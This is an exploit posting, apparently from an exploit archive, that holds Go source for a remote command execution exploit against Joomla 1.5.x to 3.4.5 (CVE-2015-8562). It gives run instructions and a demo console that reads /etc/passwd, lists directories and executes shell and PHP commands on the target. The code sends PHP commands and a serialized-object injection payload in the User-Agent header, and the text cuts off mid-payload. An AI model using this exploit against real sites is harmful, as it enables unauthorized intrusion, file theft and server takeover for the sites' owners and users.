Joomla 3.4.5 Object Injection
Posted on 31 December 2015
package main /* ************************************************************************** * Exploit Title: Joomla 1.5.x to 3.4.5 Object Injection Exploit * Exploit Author: Khashayar Fereidani ( http://fereidani.com ) * Version: 1.5.x to 3.4.5 * CVE : CVE-2015-8562 ************************************************************************** * THIS EXPLOIT PUBLISHED ONLY FOR EDUCATIONAL PROPOSES ANY ILLEGAL USAGE * IS ON YOUR OWN RESPONSIBILITY ************************************************************************** * How to run : (you need golang compiler from golang.org) * go run exploit.go http://target/path * or * go build exploit.go * ./exploit http://target/path ************************************************************************** * DEMO : $ ./exploit 192.168.1.113/joomla ############################################### # Joomla Remote Command Execution 0day Exploit # Exploited by: Khashayar Fereidani # http://fereidani.com # Vulnerable Versions: 1.5.x to 3.4.5 ############################################### Attacking to http://FILTERED.TLD/joomla/ Target is vulnerable ! # Command Line Documentation : read FILEPATH read file from FILEPATH dir DIRPATH list directory in DIRPATH exec COMMAND execute system command eval phpcode evaluate PHP Code help display this help exit close exploit console [*] Examples: read /etc/passwd dir /etc/ exec ls -lah eval include('/etc/passwd') root@joomla:$ exec uname -a Linux vm2.local 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux root@joomla:$ */ import ( "fmt" "net/http" "regexp" "os" "io/ioutil" "bytes" "net/http/cookiejar" "net/url" "bufio" "strings" ) var target string; var helpString=`# Command Line Documentation : read FILEPATH read file from FILEPATH dir DIRPATH list directory in DIRPATH exec COMMAND execute system command eval phpcode evaluate PHP Code help display this help exit close exploit console [*] Examples: read /etc/passwd dir /etc/ exec ls -lah eval include('/etc/passwd') ` var validHttpUrl=regexp.MustCompile("^http[s]{0,1}://") var resultRegex=regexp.MustCompile("(?sm)iMH3r3=(.*)") var cmdRegex=regexp.MustCompile("(\w+)\s(.+)") var newLine=regexp.MustCompile("[\n\r]") var client *http.Client func newRequest(command string) *http.Request{ values:=url.Values{} values.Set("1","echo('iMH3r3=');"+command+";") req,err:=http.NewRequest("POST",target,bytes.NewBufferString(values.Encode())) if err!=nil{ panic(err) } req.Header.Set("User-Agent",`123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"